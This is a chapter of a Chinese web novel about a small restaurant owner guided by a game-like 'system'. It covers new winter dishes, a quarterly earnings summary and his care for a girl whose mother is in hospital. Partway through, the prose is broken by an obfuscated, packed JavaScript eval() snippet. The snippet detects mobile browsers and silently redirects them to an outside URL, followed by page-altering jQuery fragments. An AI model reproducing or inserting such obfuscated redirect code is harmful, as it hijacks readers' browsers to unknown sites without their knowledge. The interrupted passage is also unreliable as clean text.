十一月来了。
天气一下子冷了很多，早上出门的时候哈气能看到白雾了。房寨从柜子里翻出一件厚外套穿上，黑色的，去年在批发市场买的，九十九块钱，穿了一个冬天，袖口有点起球了，但还能穿。他把领子竖起来，骑着三轮车往店里去，风吹在脸上像刀割一样，耳朵冻得通红。
店里的暖气不太好用，开了半天还是温温的，不热。房寨检查了一下，发现是暖气片里有气，排了气之后暖气才慢慢热起来。周阿姨来了之后第一件事就是摸暖气片，摸到是热的才放心，说冬天没暖气不行，客人坐不住。小赵来了之后第一件事是脱外套，店里暖了，穿不住厚的。
菜单又换了一轮。
凉面彻底下架了，酸梅汤和绿豆汤也不卖了。现在的主打是煲仔饭、红烧牛肉面、排骨面、炸酱面、萝卜炖牛腩。房寨又加了一个新品——羊肉汤。
羊肉汤是系统推荐的。天冷了吃羊肉，温补，暖身，适合冬天。房寨没怎么做过羊肉，怕膻味太重，试了好几次才找到方法。羊肉先泡水，泡两三个小时，把血水泡掉。然后焯水，加姜片料酒，撇掉浮沫。炖的时候加白芷、草果、花椒、小茴香，这些香料能去膻增香。炖两个多小时，羊肉软烂，汤色奶白，喝起来鲜而不膻。
他定价二十五块钱一碗，配两个烧饼。烧饼是从隔壁的烧饼店买的，一块钱一个，他加在羊肉汤里一起卖，省了自己做的麻烦。客人可以单点羊肉汤，也可以点套餐，套餐加两个烧饼，二十七。
羊肉汤上架的第一天卖得不好，只卖了几碗。大部分人不知道他出了新品，点餐的时候还是看老几样。第二天房寨在群里发了个通知，又写了个大招牌立在门口——“新品羊肉汤，暖身驱寒，二十五元一碗”。第三天开始有人点了，第四天卖得更多了，一周之后羊肉汤的销量已经赶上了牛肉面。
有个老客人专门从城北开车过来喝羊肉汤，说喝完之后浑身暖洋洋的，开车回去的时候都不觉得冷了。房寨听了挺高兴的，给那碗汤多舀了几块羊肉。
张建国现在每天都来，从早待到晚。
他已经不把自己当外人了，什么活都干，有时候比房寨还操心。早上他来的时候会带一袋包子，分给房寨和小赵，有时候周阿姨来了也有份。包子是他从家门口的包子铺买的，猪肉大葱的，皮薄馅大，很好吃。房寨说过不用买，他不听，第二天还是带，后来房寨就不说了。
他的厨艺进步很快。红烧牛肉面已经做得和房寨差不多了，煲仔饭的锅巴比之前更脆了，糖醋排骨小月说比第一次做的好吃。房寨开始教他做羊肉汤，教了两遍他就会了，炖出来的汤颜色味道都还行，虽然比房寨的差一点，但已经很不错了。
房寨有时候下午出去买菜或者去医院，店里就交给张建国和小赵。张建国在厨房里做菜，小赵在外面点单收银，两个人配合得挺好。客人不知道张建国不是老板，以为他是新来的厨师，也没人多问。
小赵对此很有意见，但这次不是因为张建国学得快，是因为——“老板你对他比对我好，你教他煲仔饭教了两遍就会了，你教了我二十遍了我还不会。”房寨说那你去找他学啊，小赵愣了一下，然后就去找张建国学煲仔饭了。张建国教得很耐心，比房寨还有耐心，一步一步地讲，小赵学得比以前快了一些。
小月和张建国的关系在慢慢变好。
她现在会主动跟张建国说话了，虽然还是很简单的话——“今天吃什么”、“我渴了”、“走吧”。但说话的频率比以前高了很多，有时候一天能说十几句。张建国每次都认真回答，不敷衍，即使小月只是说一个“水”字，他也会倒一杯温水端过去放在她右手边，因为小月是右撇子，放在右边她顺手。
小月还是每天来店里，吃一碗面，写作业，然后跟张建国一起走。张建国送她回家，有时候走路，有时候骑他的电驴。小月坐在电驴后面，搂着张建国的腰，风把她的头发吹起来，张建国会骑慢一点，怕她冷。
房寨有一次在门口看到他们骑电驴离开的样子。小月搂着张建国的腰，脸贴在他后背上，书包背在身后，鼓鼓囊囊的。张建国骑得很慢，很稳，转弯的时候特别小心。他们的影子被路灯投在地上，一个大的坐在前面，一个小的坐在后面，两个影子连在一起，像一个人。
他觉得，也许这个家真的能拼起来。
十一月的第二周，系统面板弹出了一条消息。
【季度总结已生成。】
【开店天数：80天】
【服务食客总数：约3500人】
【平均满意度：92.7分】
【总净收入：约32000元】
【房贷已还：约85000元（含系统奖励）】
【当前剩余本金：1,345,000元】
【系统评价：店铺经营已步入正轨，建议考虑下一步扩张计划。】
【新功能解锁：分店管理（需厨艺等级达到高级）。】
【当前厨艺经验值：2150/3000（距离高级还差850）。】
房寨看着这些数字，发了很久的呆。
三个月，还了八万五的房贷。加上之前摆摊还的，总共还了将近十八万。一百五十二万变成了一百三十四万。虽然还差得远，但按照这个速度，也许五年、六年就能还完。对于一个曾经每个月只能还六千三、还要靠花呗周转的人来说，这个速度已经很快了。
但他更在意的是那个数字——三千五百个人吃过他做的饭。
三千五百个人。一个小学才多少人？他以前上的小学，一个年级两个班，一个班四十多人，全校也就五百多人。三千五百个人，是七个小学的人。这些人里，有的只来了一次，有的天天来，有的大老远从城北开车过来，有的专门在群里蹲他的消息。他们来自不同的地方，做着不同的工作，有着不同的故事，但他们都在他的店里吃过一碗面、一份饭、一碗汤。
房寨把记账本翻开，在第一页写下了这个月的目标：“净赚一万八，学会一个新菜。”
新菜他想做红烧肉。
之前张建国做过一次，很好吃，但那是张建国做的，不是他做的。他想自己掌握这道菜。红烧肉看着简单，做起来难。选肉、切块、焯水、炒糖色、炖煮、收汁，每一步都有讲究。肉要五花三层，肥瘦相间，切块要大小均匀，太大了不入味，太小了一炖就散。焯水要冷水下锅，慢慢升温，把血沫逼出来。炒糖色是最难的，火候不到颜色不红亮，火候过了糖就苦了。
他试了好几次。第一次糖色炒苦了，整锅肉都是苦的，倒掉了。第二次糖色炒嫩了，颜色发黄，不够红亮，味道还行但不好看。第三次糖色刚好，但炖的时间不够，肉不够烂。第四次炖够了时间，但收汁没收好，汤汁太稀，挂在肉上不够浓稠。第五次，终于做出一锅像样的了。
颜色红亮，肥肉入口即化，瘦肉不柴，汤汁浓稠地挂在每一块肉上。配一碗米饭，浇一勺汤汁，能吃三碗。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529070|203000||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他把这锅红烧肉端给小赵、周阿姨、张建国尝。三个人都说好吃。小赵说比张建国做的好吃，张建国看了他一眼，小赵赶紧改口说“差不多差不多”。周阿姨说这个肉她孙子肯定爱吃，问房寨能不能教她做。房寨说行，明天教你。
红烧肉上架那天，房寨在群里发了一张照片。照片里的红烧肉装在白色碗里，颜色红亮，肥肉透明，瘦肉紧实，汤汁浓稠，上面撒了几粒白芝麻。群里的人又疯了，有人说“寨哥儿你这是要开店还是开画展”，有人说“这个颜色也太好看了吧”，有人说“我中午就去给我留一份”。
红烧肉定价二十八元一份，配一碗米饭。不算便宜，但房寨觉得值。一斤五花肉三十多块钱，一份红烧肉要用半斤肉，加上糖、酱油、香料、人工、房租，成本就十几块了。卖二十八，毛利十几块，不算高。
红烧肉的销量比房寨想的好。第一天卖了二十多份，第二天三十多份，一周之后稳定在每天四十份左右。有人专门为了红烧肉来的，点一份红烧肉配一碗米饭，吃得干干净净。有人吃完还要打包一份带回去，说给家里人尝尝。有个老客人一周吃了五次红烧肉，房寨怕他吃出脂肪肝，劝他少吃点，他说“死也要吃”。
房寨觉得这人说话有点夸张，但心里是高兴的。
十一月的第三周，房寨去医院的时候，王丽给了他一个信封。
信封很厚，里面装着钱。
“这是什么？”房寨没接。
“小月的生活费。”王丽把信封放在床头柜上，“我不能白让你照顾她。”
房寨看着那个信封，又看了看王丽。她比之前好了一些，脸上的肉多了一点，虽然还是很瘦，但至少不像骷髅了。头发长出了一点，黑黑的，短短的，像刚割过的草坪。她的眼睛也亮了一些，不是那种火柴划亮的光，是那种灯泡通上电的光，持续地、稳定地亮着。
“你哪来的钱？”房寨问。
“我妹妹给的。”王丽说，“她来看过我，留了一些钱。”
房寨想了想，把信封收下了。不是因为他想要这个钱，是因为他知道王丽需要这个心安。她没办法照顾小月，心里已经很难受了，如果连钱都不出，她会更难受。
“我会记着的。”房寨说，“每一笔都记着，以后给小月。”
王丽点了点头。
房寨把钱收进口袋，坐在床边，跟王丽说了小月最近的情况。说她穿了新外套，粉色的，很好看。说她吃了糖醋排骨，吃了三块，说好吃。说她跟张建国的关系在变好，现在会主动说话了，会说“明天见”了。
王丽听着，没有说话，脸上没有什么表情。但房寨注意到她的手指在被子上轻轻动了一下，像是在摸什么东西，又像是在抓什么东西。
“张建国对小月好。”房寨说，“这一点你放心。”
王丽沉默了很久。
“他以前对小月也好。”她终于开口了，“但他走了。”
这句话说得不重，但房寨听出了里面的分量。走了，比什么都伤人。不是对你不好，是对你好过，然后走了。那种落差，比从来没被好过还难受。
房寨不知道该怎么接这句话。
“人都会变的。”他最后说了一句。
王丽没再说话了。她转过头看着窗外。窗外的天很蓝，没有云，阳光照在对面的楼上，把整栋楼染成了金色。有一只鸟从窗前飞过，很快，一眨眼就不见了。
王丽看着那只鸟飞走的方向，看了很久。